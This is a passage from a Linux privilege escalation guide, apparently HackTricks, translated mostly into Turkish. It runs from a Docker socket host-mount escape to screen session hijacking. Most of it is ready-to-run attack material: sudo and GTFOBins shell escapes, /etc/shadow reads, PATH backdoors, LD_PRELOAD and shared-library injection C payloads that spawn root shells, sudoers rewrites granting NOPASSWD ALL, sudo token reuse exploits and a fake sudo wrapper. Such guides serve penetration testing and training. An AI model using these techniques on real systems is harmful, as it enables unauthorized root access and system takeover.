curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
|
||
```
|
||
|
||
Yeni oluşturulan container'ı başlatın:
|
||
|
||
```bash
|
||
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
|
||
```
|
||
|
||
3. **Attach to the Container:** `socat` kullanarak container'a bir bağlantı kurun; böylece içinde komut çalıştırabilirsiniz.
|
||
|
||
```bash
|
||
socat - UNIX-CONNECT:/var/run/docker.sock
|
||
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
|
||
Host:
|
||
Connection: Upgrade
|
||
Upgrade: tcp
|
||
```
|
||
|
||
`socat` bağlantısını kurduktan sonra, host'un dosya sistemine root seviyesinde erişimle doğrudan container içinde komut çalıştırabilirsiniz.
|
||
|
||
### Diğerleri
|
||
|
||
Dikkat: docker socket üzerinde yazma izniniz varsa çünkü **inside the group `docker`** içindeyseniz [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Eğer [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
|
||
|
||
Check **more ways to break out from docker or abuse it to escalate privileges** in:
|
||
|
||
|
||
{{#ref}}
|
||
docker-security/
|
||
{{#endref}}
|
||
|
||
## Containerd (ctr) privilege escalation
|
||
|
||
If you find that you can use the **`ctr`** command read the following page as **you may be able to abuse it to escalate privileges**:
|
||
|
||
|
||
{{#ref}}
|
||
containerd-ctr-privilege-escalation.md
|
||
{{#endref}}
|
||
|
||
## **RunC** privilege escalation
|
||
|
||
If you find that you can use the **`runc`** command read the following page as **you may be able to abuse it to escalate privileges**:
|
||
|
||
|
||
{{#ref}}
|
||
runc-privilege-escalation.md
|
||
{{#endref}}
|
||
|
||
## **D-Bus**
|
||
|
||
D-Bus, uygulamaların verimli bir şekilde etkileşimde bulunmasını ve veri paylaşmasını sağlayan gelişmiş bir **inter-Process Communication (IPC) system**dir. Modern Linux sistemi göz önünde bulundurularak tasarlanmış olup, farklı uygulama iletişim biçimleri için sağlam bir çerçeve sunar.
|
||
|
||
Sistem esnektir; süreçler arası veri alışverişini geliştiren temel IPC desteğinin yanı sıra, olay veya sinyal yayınlamayı destekleyerek sistem bileşenleri arasında sorunsuz entegrasyonu kolaylaştırır. Örneğin, bir Bluetooth daemon'undan gelen bir çağrı sinyali, bir müzik çalarını sessize aldırabilir. Ayrıca D-Bus, uzak nesne sistemi desteği sunarak servis taleplerini ve metod çağrılarını basitleştirir; bu da geleneksel olarak karmaşık olan işlemleri düzene sokar.
|
||
|
||
D-Bus, eşleştiren politika kurallarının kümülatif etkisine göre mesaj izinlerini (metot çağrıları, sinyal yayımı vb.) yöneten bir izin/engelleme modelinde çalışır. Bu politikalar bus ile hangi etkileşimlerin izinli olduğunu belirler ve bu izinlerin kötüye kullanılması yoluyla privilege escalation mümkün olabilir.
|
||
|
||
Örneğin /etc/dbus-1/system.d/wpa_supplicant.conf içindeki bir politika, root kullanıcısının `fi.w1.wpa_supplicant1` üzerinde sahiplik, gönderme ve alma izinlerine dair detaylar içerir.
|
||
|
||
Belirli bir kullanıcı veya grup belirtilmemiş politikalar evrensel olarak uygulanır; "default" bağlam politikaları ise diğer spesifik politikalar tarafından kapsanmayan herkese uygulanır.
|
||
```xml
|
||
<policy user="root">
|
||
<allow own="fi.w1.wpa_supplicant1"/>
|
||
<allow send_destination="fi.w1.wpa_supplicant1"/>
|
||
<allow send_interface="fi.w1.wpa_supplicant1"/>
|
||
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
|
||
</policy>
|
||
```
|
||
**D-Bus communication'ı enumerate ve exploit etme yöntemini burada öğrenin:**
|
||
|
||
|
||
{{#ref}}
|
||
d-bus-enumeration-and-command-injection-privilege-escalation.md
|
||
{{#endref}}
|
||
|
||
## **Ağ**
|
||
|
||
Ağı enumerate etmek ve makinenin ağ içindeki konumunu belirlemek her zaman ilginçtir.
|
||
|
||
### Genel enumeration
|
||
```bash
|
||
#Hostname, hosts and DNS
|
||
cat /etc/hostname /etc/hosts /etc/resolv.conf
|
||
dnsdomainname
|
||
|
||
#Content of /etc/inetd.conf & /etc/xinetd.conf
|
||
cat /etc/inetd.conf /etc/xinetd.conf
|
||
|
||
#Interfaces
|
||
cat /etc/networks
|
||
(ifconfig || ip a)
|
||
|
||
#Neighbours
|
||
(arp -e || arp -a)
|
||
(route || ip n)
|
||
|
||
#Iptables rules
|
||
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)
|
||
|
||
#Files used by network services
|
||
lsof -i
|
||
```
|
||
### Açık portlar
|
||
|
||
Erişmeden önce etkileşim kuramadığınız makinede çalışan ağ servislerini her zaman kontrol edin:
|
||
```bash
|
||
(netstat -punta || ss --ntpu)
|
||
(netstat -punta || ss --ntpu) | grep "127.0"
|
||
```
|
||
### Sniffing
|
||
|
||
Trafiği sniff edip edemeyeceğinizi kontrol edin. Eğer yapabiliyorsanız, bazı credentials elde edebilirsiniz.
|
||
```
|
||
timeout 1 tcpdump
|
||
```
|
||
## Kullanıcılar
|
||
|
||
### Generic Enumeration
|
||
|
||
Kimin olduğunuzu, hangi **privileges**'a sahip olduğunuzu, sistemde hangi **users** bulunduğunu, hangilerinin **login** yapabildiğini ve hangilerinin **root privileges**'a sahip olduğunu kontrol edin:
|
||
```bash
|
||
#Info about me
|
||
id || (whoami && groups) 2>/dev/null
|
||
#List all users
|
||
cat /etc/passwd | cut -d: -f1
|
||
#List users with console
|
||
cat /etc/passwd | grep "sh$"
|
||
#List superusers
|
||
awk -F: '($3 == "0") {print}' /etc/passwd
|
||
#Currently logged users
|
||
w
|
||
#Login history
|
||
last | tail
|
||
#Last log of each user
|
||
lastlog
|
||
|
||
#List all users and their groups
|
||
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
|
||
#Current user PGP keys
|
||
gpg --list-keys 2>/dev/null
|
||
```
|
||
### Büyük UID
|
||
|
||
Bazı Linux sürümleri, **UID > INT_MAX** olan kullanıcıların ayrıcalık yükseltmesine olanak veren bir hatadan etkilendi. Daha fazla bilgi: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) ve [here](https://twitter.com/paragonsec/status/1071152249529884674).\
|
||
**Exploit it** using: **`systemd-run -t /bin/bash`**
|
||
|
||
### Gruplar
|
||
|
||
root ayrıcalıkları verebilecek bir **grubun üyesi** olup olmadığınızı kontrol edin:
|
||
|
||
|
||
{{#ref}}
|
||
interesting-groups-linux-pe/
|
||
{{#endref}}
|
||
|
||
### Pano
|
||
|
||
Panoda (mümkünse) ilginç bir şey olup olmadığını kontrol edin
|
||
```bash
|
||
if [ `which xclip 2>/dev/null` ]; then
|
||
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
|
||
echo "Highlighted text: "`xclip -o 2>/dev/null`
|
||
elif [ `which xsel 2>/dev/null` ]; then
|
||
echo "Clipboard: "`xsel -ob 2>/dev/null`
|
||
echo "Highlighted text: "`xsel -o 2>/dev/null`
|
||
else echo "Not found xsel and xclip"
|
||
fi
|
||
```
|
||
### Parola Politikası
|
||
```bash
|
||
grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs
|
||
```
|
||
### Bilinen parolalar
|
||
|
||
Eğer ortamın **herhangi bir parolasını biliyorsanız** **parolayı kullanarak her kullanıcı olarak giriş yapmayı deneyin**.
|
||
|
||
### Su Brute
|
||
|
||
Eğer çok fazla gürültü çıkarma (noise) umursamıyorsanız ve bilgisayarda `su` ve `timeout` ikili dosyaları bulunuyorsa, [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
|
||
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) `-a` parametresi ile de kullanıcıları brute-force etmeye çalışır.
|
||
|
||
## Yazılabilir PATH suistimalleri
|
||
|
||
### $PATH
|
||
|
||
Eğer **$PATH içindeki bazı klasörlerden birine yazabiliyorsanız** yazılabilir klasörün içine, farklı bir kullanıcı (tercihen root) tarafından çalıştırılacak bir komutun adıyla bir **backdoor oluşturarak** ayrıcalıkları yükseltebilir ve bu komutun $PATH içindeki yazılabilir klasörünüzden **önce yer alan bir klasörden yüklenmemesi** gerekir.
|
||
|
||
### SUDO and SUID
|
||
|
||
Bazı komutları sudo kullanarak çalıştırmaya izinli olabilirsiniz veya bazı dosyalar suid bitine sahip olabilir. Bunu şu komutla kontrol edin:
|
||
```bash
|
||
sudo -l #Check commands you can execute with sudo
|
||
find / -perm -4000 2>/dev/null #Find all SUID binaries
|
||
```
|
||
Bazı **beklenmeyen komutlar dosyaları okumaya ve/veya yazmaya ya da hatta bir komut çalıştırmaya izin verir.** Örneğin:
|
||
```bash
|
||
sudo awk 'BEGIN {system("/bin/sh")}'
|
||
sudo find /etc -exec sh -i \;
|
||
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
|
||
sudo tar c a.tar -I ./runme.sh a
|
||
ftp>!/bin/sh
|
||
less>! <shell_comand>
|
||
```
|
||
### NOPASSWD
|
||
|
||
Sudo yapılandırması, bir kullanıcının parolasını bilmeden başka bir kullanıcının ayrıcalıklarıyla bazı komutları çalıştırmasına izin verebilir.
|
||
```
|
||
$ sudo -l
|
||
User demo may run the following commands on crashlab:
|
||
(root) NOPASSWD: /usr/bin/vim
|
||
```
|
||
Bu örnekte kullanıcı `demo` `vim`'i `root` olarak çalıştırabiliyor; root dizinine bir ssh key ekleyerek veya `sh` çağırarak kolayca bir shell almak mümkün.
|
||
```
|
||
sudo vim -c '!sh'
|
||
```
|
||
### SETENV
|
||
|
||
Bu direktif, kullanıcının bir şey çalıştırırken **bir ortam değişkeni ayarlamasına** izin verir:
|
||
```bash
|
||
$ sudo -l
|
||
User waldo may run the following commands on admirer:
|
||
(ALL) SETENV: /opt/scripts/admin_tasks.sh
|
||
```
|
||
Bu örnek, **based on HTB machine Admirer**, root olarak script çalıştırılırken rastgele bir python library yüklemek için **PYTHONPATH hijacking**'e **vulnerable** idi:
|
||
```bash
|
||
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
|
||
```
|
||
### Sudo yürütme atlatma yolları
|
||
|
||
**Jump** ile diğer dosyaları okuyun veya **symlinks** kullanın. Örneğin sudoers dosyasında: _hacker10 ALL= (root) /bin/less /var/log/\*_
|
||
```bash
|
||
sudo less /var/logs/anything
|
||
less>:e /etc/shadow #Jump to read other files using privileged less
|
||
```
|
||
|
||
```bash
|
||
ln /etc/shadow /var/log/new
|
||
sudo less /var/log/new #Use symlinks to read any file
|
||
```
|
||
Eğer bir **wildcard** kullanılırsa (\*), bu daha da kolaydır:
|
||
```bash
|
||
sudo less /var/log/../../etc/shadow #Read shadow
|
||
sudo less /var/log/something /etc/shadow #Red 2 files
|
||
```
|
||
**Karşı Önlemler**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/)
|
||
|
||
### Komut yolu belirtilmemiş Sudo komutu/SUID binary
|
||
|
||
Eğer **sudo izni** tek bir komuta **komut yolunu belirtmeden** verilmişse: _hacker10 ALL= (root) less_ PATH değişkenini değiştirerek exploit edebilirsiniz.
|
||
```bash
|
||
export PATH=/tmp:$PATH
|
||
#Put your backdoor in /tmp and name it "less"
|
||
sudo less
|
||
```
|
||
Bu teknik ayrıca **suid** binary **başka bir komutu yolunu belirtmeden çalıştırıyorsa (her zaman _**strings**_ ile tuhaf bir SUID binary'nin içeriğini kontrol edin)**).
|
||
|
||
[Payload examples to execute.](payloads-to-execute.md)
|
||
|
||
### Komut yolu belirtilmiş SUID binary
|
||
|
||
Eğer **suid** binary **başka bir komutu yolunu belirterek çalıştırıyorsa**, o zaman suid dosyasının çağırdığı komutla aynı isimde **export a function** oluşturmaya çalışabilirsiniz.
|
||
|
||
Örneğin, eğer bir suid binary _**/usr/sbin/service apache2 start**_ çağırıyorsa, işlevi oluşturup export etmeyi denemelisiniz:
|
||
```bash
|
||
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
|
||
export -f /usr/sbin/service
|
||
```
|
||
Sonrasında, suid binary'yi çağırdığınızda bu fonksiyon yürütülecektir
|
||
|
||
### LD_PRELOAD & **LD_LIBRARY_PATH**
|
||
|
||
The **LD_PRELOAD** environment variable is used to specify one or more shared libraries (.so files) to be loaded by the loader before all others, including the standard C library (`libc.so`). This process is known as preloading a library.
|
||
|
||
However, to maintain system security and prevent this feature from being exploited, particularly with **suid/sgid** executables, the system enforces certain conditions:
|
||
|
||
- The loader disregards **LD_PRELOAD** for executables where the real user ID (_ruid_) does not match the effective user ID (_euid_).
|
||
- For executables with suid/sgid, only libraries in standard paths that are also suid/sgid are preloaded.
|
||
|
||
Privilege escalation can occur if you have the ability to execute commands with `sudo` and the output of `sudo -l` includes the statement **env_keep+=LD_PRELOAD**. This configuration allows the **LD_PRELOAD** environment variable to persist and be recognized even when commands are run with `sudo`, potentially leading to the execution of arbitrary code with elevated privileges.
|
||
```
|
||
Defaults env_keep += LD_PRELOAD
|
||
```
|
||
Kaydet: **/tmp/pe.c**
|
||
```c
|
||
#include <stdio.h>
|
||
#include <sys/types.h>
|
||
#include <stdlib.h>
|
||
|
||
void _init() {
|
||
unsetenv("LD_PRELOAD");
|
||
setgid(0);
|
||
setuid(0);
|
||
system("/bin/bash");
|
||
}
|
||
```
|
||
Sonra **derleyin** kullanarak:
|
||
```bash
|
||
cd /tmp
|
||
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
|
||
```
|
||
Son olarak, **escalate privileges** çalıştırarak
|
||
```bash
|
||
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
|
||
```
|
||
> [!CAUTION]
|
||
> Benzer bir privesc, saldırgan **LD_LIBRARY_PATH** env değişkenini kontrol ediyorsa kötüye kullanılabilir çünkü kütüphanelerin aranacağı yolu o kontrol eder.
|
||
```c
|
||
#include <stdio.h>
|
||
#include <stdlib.h>
|
||
|
||
static void hijack() __attribute__((constructor));
|
||
|
||
void hijack() {
|
||
unsetenv("LD_LIBRARY_PATH");
|
||
setresuid(0,0,0);
|
||
system("/bin/bash -p");
|
||
}
|
||
```
|
||
|
||
```bash
|
||
# Compile & execute
|
||
cd /tmp
|
||
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
|
||
sudo LD_LIBRARY_PATH=/tmp <COMMAND>
|
||
```
|
||
### SUID Binary – .so injection
|
||
|
||
Şüpheli görünen **SUID** izinlerine sahip bir binary ile karşılaşıldığında, **.so** dosyalarını düzgün şekilde yüklüyor mu diye kontrol etmek iyi bir uygulamadır. Bunu aşağıdaki komutu çalıştırarak kontrol edebilirsiniz:
|
||
```bash
|
||
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
|
||
```
|
||
Örneğin, _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ gibi bir hata ile karşılaşmak exploitation için potansiyel olduğunu gösterir.
|
||
|
||
Bunu exploit etmek için, örneğin _"/path/to/.config/libcalc.c"_ adlı bir C dosyası oluşturup aşağıdaki kodu içerecek şekilde devam edilir:
|
||
```c
|
||
#include <stdio.h>
|
||
#include <stdlib.h>
|
||
|
||
static void inject() __attribute__((constructor));
|
||
|
||
void inject(){
|
||
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
|
||
}
|
||
```
|
||
Bu kod, derlendikten ve çalıştırıldıktan sonra, dosya izinlerini manipüle ederek ayrıcalıkları yükseltmeyi ve yükseltilmiş ayrıcalıklara sahip bir shell çalıştırmayı amaçlar.
|
||
|
||
Yukarıdaki C dosyasını bir shared object (.so) dosyasına şu komutla derleyin:
|
||
```bash
|
||
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
|
||
```
|
||
Son olarak, etkilenen SUID binary'yi çalıştırmak exploit'i tetiklemeli ve potansiyel sistem ele geçirilmesine izin vermelidir.
|
||
|
||
## Shared Object Hijacking
|
||
```bash
|
||
# Lets find a SUID using a non-standard library
|
||
ldd some_suid
|
||
something.so => /lib/x86_64-linux-gnu/something.so
|
||
|
||
# The SUID also loads libraries from a custom location where we can write
|
||
readelf -d payroll | grep PATH
|
||
0x000000000000001d (RUNPATH) Library runpath: [/development]
|
||
```
|
||
Artık yazabileceğimiz bir klasörden library yükleyen bir SUID binary bulduğumuza göre, gerekli isimle library'i o klasöre oluşturalım:
|
||
```c
|
||
//gcc src.c -fPIC -shared -o /development/libshared.so
|
||
#include <stdio.h>
|
||
#include <stdlib.h>
|
||
|
||
static void hijack() __attribute__((constructor));
|
||
|
||
void hijack() {
|
||
setresuid(0,0,0);
|
||
system("/bin/bash -p");
|
||
}
|
||
```
|
||
Aşağıdaki gibi bir hata alırsanız
|
||
```shell-session
|
||
./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name
|
||
```
|
||
bu, oluşturduğunuz kütüphanenin `a_function_name` adlı bir fonksiyona sahip olması gerektiği anlamına gelir.
|
||
|
||
### GTFOBins
|
||
|
||
[**GTFOBins**](https://gtfobins.github.io) yerel güvenlik kısıtlamalarını aşmak için bir saldırgan tarafından kötüye kullanılabilecek Unix ikili dosyalarının seçilmiş bir listesidir. [**GTFOArgs**](https://gtfoargs.github.io/) ise aynı şeydir fakat bir komutta **sadece argümanları enjekte edebildiğiniz** durumlar için.
|
||
|
||
Proje, kısıtlı shell'lerden çıkmak, ayrıcalıkları yükseltmek veya korumak, dosya aktarmak, bind ve reverse shells oluşturmak ve diğer post-exploitation görevlerini kolaylaştırmak için kötüye kullanılabilecek Unix ikili dosyalarının meşru fonksiyonlarını toplar.
|
||
|
||
> gdb -nx -ex '!sh' -ex quit\
|
||
> sudo mysql -e '! /bin/sh'\
|
||
> strace -o /dev/null /bin/sh\
|
||
> sudo awk 'BEGIN {system("/bin/sh")}'
|
||
|
||
|
||
{{#ref}}
|
||
https://gtfobins.github.io/
|
||
{{#endref}}
|
||
|
||
|
||
{{#ref}}
|
||
https://gtfoargs.github.io/
|
||
{{#endref}}
|
||
|
||
### FallOfSudo
|
||
|
||
Eğer `sudo -l`'ye erişebiliyorsanız, herhangi bir sudo kuralını nasıl sömürebileceğini bulup bulmadığını kontrol etmek için [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) aracını kullanabilirsiniz.
|
||
|
||
### Reusing Sudo Tokens
|
||
|
||
Parolaya sahip olmadan **sudo erişimi**'niz olduğu durumlarda, **sudo komutunun çalıştırılmasını bekleyip oturum token'ını ele geçirerek** ayrıcalıkları yükseltebilirsiniz.
|
||
|
||
Requirements to escalate privileges:
|
||
|
||
- Zaten _sampleuser_ kullanıcısı olarak bir shell'e sahipsiniz
|
||
- _sampleuser_ son **15 dakika** içinde bir şey çalıştırmak için **`sudo` kullanmış olmalı** (varsayılan olarak bu, parola girmeden `sudo` kullanmamıza izin veren sudo token'ının süresidir)
|
||
- `cat /proc/sys/kernel/yama/ptrace_scope` 0 olmalı
|
||
- `gdb` erişilebilir olmalı (yükleyebilmelisiniz)
|
||
|
||
(Geçici olarak `ptrace_scope`'u `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ile etkinleştirebilir veya kalıcı olarak `/etc/sysctl.d/10-ptrace.conf` dosyasını değiştirip `kernel.yama.ptrace_scope = 0` olarak ayarlayabilirsiniz)
|
||
|
||
If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
|
||
|
||
- The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`):
|
||
```bash
|
||
bash exploit.sh
|
||
/tmp/activate_sudo_token
|
||
sudo su
|
||
```
|
||
- İkinci **exploit** (`exploit_v2.sh`) _/tmp_ içinde sh shell oluşturacak ve **setuid ile root tarafından sahip olunan**
|
||
```bash
|
||
bash exploit_v2.sh
|
||
/tmp/sh -p
|
||
```
|
||
- Bu **üçüncü exploit** (`exploit_v3.sh`) **bir sudoers file oluşturacak**; bu, **sudo tokens'ı kalıcı hale getirir ve tüm kullanıcıların sudo kullanmasına izin verir**
|
||
```bash
|
||
bash exploit_v3.sh
|
||
sudo su
|
||
```
|
||
### /var/run/sudo/ts/\<Username>
|
||
|
||
Eğer klasörde veya klasör içindeki oluşturulan dosyaların herhangi birinde **yazma iznine** sahipseniz, ikili [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) kullanarak **bir kullanıcı ve PID için sudo token'ı oluşturabilirsiniz**.\
|
||
Örneğin, _/var/run/sudo/ts/sampleuser_ dosyasını üzerine yazabiliyorsanız ve PID 1234 olan o kullanıcı olarak bir shell'e sahipseniz, parola bilmenize gerek kalmadan **sudo ayrıcalıkları elde edebilirsiniz** şu işlemi yaparak:
|
||
```bash
|
||
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
|
||
```
|
||
### /etc/sudoers, /etc/sudoers.d
|
||
|
||
Dosya `/etc/sudoers` ve `/etc/sudoers.d` içindeki dosyalar kimin `sudo` kullanabileceğini ve nasıl kullanacağını yapılandırır. Bu dosyalar **varsayılan olarak yalnızca root kullanıcısı ve root grubu tarafından okunabilir**.\\
|
||
**Eğer** bu dosyayı **okuyabiliyorsanız** bazı ilginç bilgiler **edinebilirsiniz**, ve eğer herhangi bir dosyayı **yazabiliyorsanız** **escalate privileges** yapabilirsiniz.
|
||
```bash
|
||
ls -l /etc/sudoers /etc/sudoers.d/
|
||
ls -ld /etc/sudoers.d/
|
||
```
|
||
Yazabiliyorsanız, bu izni suistimal edebilirsiniz.
|
||
```bash
|
||
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
|
||
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
|
||
```
|
||
Bu izinleri kötüye kullanmanın bir diğer yolu:
|
||
```bash
|
||
# makes it so every terminal can sudo
|
||
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
|
||
# makes it so sudo never times out
|
||
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win
|
||
```
|
||
### DOAS
|
||
|
||
sudo ikili dosyasına bazı alternatifler vardır; OpenBSD için doas gibi. Yapılandırmasını `/etc/doas.conf`'da kontrol etmeyi unutmayın.
|
||
```
|
||
permit nopass demo as root cmd vim
|
||
```
|
||
### Sudo Hijacking
|
||
|
||
Eğer bir **kullanıcının genellikle bir makineye bağlanıp ayrıcalıkları yükseltmek için `sudo` kullandığını** ve o kullanıcı bağlamında bir shell elde ettiğinizi biliyorsanız, root olarak kodunuzu çalıştırıp sonra kullanıcının komutunu yürütecek yeni bir sudo executable oluşturabilirsiniz. Sonra, kullanıcı bağlamının $PATH'ini (örneğin yeni yolu .bash_profile içine ekleyerek) değiştirin; böylece kullanıcı sudo'yu çalıştırdığında sizin sudo executable'ınız çalıştırılır.
|
||
|
||
Not: Kullanıcı farklı bir shell (bash olmayan) kullanıyorsa yeni yolu eklemek için diğer dosyaları değiştirmeniz gerekir. Örneğin [sudo-piggyback](https://github.com/APTy/sudo-piggyback) `~/.bashrc`, `~/.zshrc`, `~/.bash_profile` dosyalarını değiştirir. Başka bir örneği [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) içinde bulabilirsiniz.
|
||
|
||
Ya da şöyle bir şey çalıştırmak:
|
||
```bash
|
||
cat >/tmp/sudo <<EOF
|
||
#!/bin/bash
|
||
/usr/bin/sudo whoami > /tmp/privesc
|
||
/usr/bin/sudo "\$@"
|
||
EOF
|
||
chmod +x /tmp/sudo
|
||
echo ‘export PATH=/tmp:$PATH’ >> $HOME/.zshenv # or ".bashrc" or any other
|
||
|
||
# From the victim
|
||
zsh
|
||
echo $PATH
|
||
sudo ls
|
||
```
|
||
## Paylaşılan Kütüphane
|
||
|
||
### ld.so
|
||
|
||
Dosya `/etc/ld.so.conf` **yüklenen yapılandırma dosyalarının kaynağını belirtir**. Genellikle bu dosya şu yolu içerir: `include /etc/ld.so.conf.d/*.conf`
|
||
|
||
Bu, `/etc/ld.so.conf.d/*.conf` içindeki yapılandırma dosyalarının okunacağı anlamına gelir. Bu yapılandırma dosyaları **diğer klasörlere işaret eder**; buralarda **kütüphaneler** **aranacaktır**. Örneğin, `/etc/ld.so.conf.d/libc.conf` içeriği `/usr/local/lib`'tir. **Bu, sistemin `/usr/local/lib` içinde kütüphaneleri arayacağı anlamına gelir**.
|
||
|
||
Eğer herhangi bir nedenle belirtilen yollardan herhangi birinde **bir kullanıcının yazma izni** varsa: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` içindeki herhangi bir dosya veya `/etc/ld.so.conf.d/*.conf` içindeki yapılandırma dosyasının işaret ettiği herhangi bir klasör, ayrıcalıkları yükseltebilir.\
|
||
Bu yanlış yapılandırmanın **nasıl istismar edileceğine** ilişkin detaylar için aşağıdaki sayfaya bakın:
|
||
|
||
|
||
{{#ref}}
|
||
ld.so.conf-example.md
|
||
{{#endref}}
|
||
|
||
### RPATH
|
||
```
|
||
level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
|
||
0x00000001 (NEEDED) Shared library: [libc.so.6]
|
||
0x0000000f (RPATH) Library rpath: [/var/tmp/flag15]
|
||
|
||
level15@nebula:/home/flag15$ ldd ./flag15
|
||
linux-gate.so.1 => (0x0068c000)
|
||
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
|
||
/lib/ld-linux.so.2 (0x005bb000)
|
||
```
|
||
lib'i `/var/tmp/flag15/` dizinine kopyalayarak, `RPATH` değişkeninde belirtildiği gibi program tarafından bu konumda kullanılacaktır.
|
||
```
|
||
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
|
||
|
||
level15@nebula:/home/flag15$ ldd ./flag15
|
||
linux-gate.so.1 => (0x005b0000)
|
||
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
|
||
/lib/ld-linux.so.2 (0x00737000)
|
||
```
|
||
Ardından `/var/tmp` dizinine `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ile kötü amaçlı bir kütüphane oluşturun.
|
||
```c
|
||
#include<stdlib.h>
|
||
#define SHELL "/bin/sh"
|
||
|
||
int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
|
||
{
|
||
char *file = SHELL;
|
||
char *argv[] = {SHELL,0};
|
||
setresuid(geteuid(),geteuid(), geteuid());
|
||
execve(file,argv,0);
|
||
}
|
||
```
|
||
## Yetkiler
|
||
|
||
Linux capabilities provide a **process'e sağlanan root ayrıcalıklarının bir alt kümesini**. Bu, root **ayrıcalıklarını daha küçük ve ayrı birimlere** ayırır. Bu birimlerin her biri daha sonra bağımsız olarak süreçlere verilebilir. Böylece tüm ayrıcalık seti azaltılır ve istismar riskleri düşürülür.\
|
||
Aşağıdaki sayfayı okuyarak **capabilities ve bunların nasıl kötüye kullanılacağı** hakkında daha fazla bilgi edinin:
|
||
|
||
|
||
{{#ref}}
|
||
linux-capabilities.md
|
||
{{#endref}}
|
||
|
||
## Dizin izinleri
|
||
|
||
Bir dizinde, **bit for "execute"** etkilenen kullanıcının "**cd**" ile klasöre girebileceğini ifade eder.\
|
||
**"read"** biti kullanıcının **dosyaları listeleyebileceğini**, ve **"write"** biti kullanıcının **dosyaları silebileceğini** ve **yeni dosyalar oluşturabileceğini** ifade eder.
|
||
|
||
## ACLs
|
||
|
||
Access Control Lists (ACLs) keyfi izinlerin ikincil katmanını temsil eder ve geleneksel ugo/rwx izinlerini **geçersiz kılabilir**. Bu izinler, sahip olmayan veya grubun parçası olmayan belirli kullanıcılara haklar verip reddederek dosya veya dizin erişimi üzerinde kontrolü artırır. Bu düzeydeki **ayrıntılı kontrol daha hassas erişim yönetimi sağlar**. Daha fazla detay için [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux).
|
||
|
||
**Kullanıcı "kali"ya bir dosya üzerinde read ve write izinleri verin:**
|
||
```bash
|
||
setfacl -m u:kali:rw file.txt
|
||
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)
|
||
|
||
setfacl -b file.txt #Remove the ACL of the file
|
||
```
|
||
**Alın** sistemden belirli ACL'lere sahip dosyaları:
|
||
```bash
|
||
getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
|
||
```
|
||
## Açık shell oturumları
|
||
|
||
**Eski sürümlerde** farklı bir kullanıcının (**root**) bazı **shell** oturumlarını **hijack** edebilirsiniz.\
|
||
**Yeni sürümlerde** yalnızca **kendi kullanıcınızın** screen oturumlarına **bağlanabileceksiniz**. Ancak oturumun içinde **ilginç bilgiler** bulabilirsiniz.
|
||
|
||
### screen oturumları hijacking
|
||
|
||
**screen oturumlarını listele**
|
||
```bash
|
||
screen -ls
|
||
screen -ls <username>/ # Show another user' screen sessions
|
||
```
|
||
